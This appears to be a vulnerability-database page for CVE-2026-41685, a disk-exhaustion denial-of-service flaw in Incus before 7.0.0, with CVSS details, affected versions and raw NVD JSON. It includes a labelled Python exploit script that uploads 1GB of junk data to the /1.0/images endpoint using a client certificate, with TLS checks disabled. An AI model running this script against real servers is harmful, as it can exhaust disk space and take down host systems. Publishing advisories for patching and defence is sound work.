Security Vulnerability Report
中文
CVE-2026-41685 CVSS 4.3 MEDIUM

CVE-2026-41685

Published: 2026-05-07 14:16:04
Last Modified: 2026-05-07 19:50:49

Description

Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:* - VULNERABLE
Incus < 7.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit code for demonstration purposes only # Target: Incus server < 7.0.0 # Description: Uploads a large amount of data to exhaust disk space def exploit_incus_dos(target_url, cert_path, key_path): # Create a large dummy file (e.g., 1GB) large_file_size = 1024 * 1024 * 1024 # 1GB data = b'X' * large_file_size # Endpoint for image creation/upload (example) upload_url = f"{target_url}/1.0/images" headers = { "Content-Type": "application/octet-stream" } try: # Authenticate using client certificate response = requests.post( upload_url, data=data, cert=(cert_path, key_path), headers=headers, verify=False # Ignore SSL verification for testing ) if response.status_code == 202: print("[+] Upload initiated. Disk space exhaustion in progress.") else: print(f"[-] Failed to upload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual Incus server details TARGET = "https://192.168.1.100:8443" CERT = "/path/to/client.crt" KEY = "/path/to/client.key" exploit_incus_dos(TARGET, CERT, KEY)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41685", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:03.500", "lastModified": "2026-05-07T19:50:49.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "CF8EBB4B-C1F0-44C5-B063-9CF8EB6E0972"}]}]}], "references": [{"url": "https://github.com/lxc/incus/releases/tag/v7.0.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}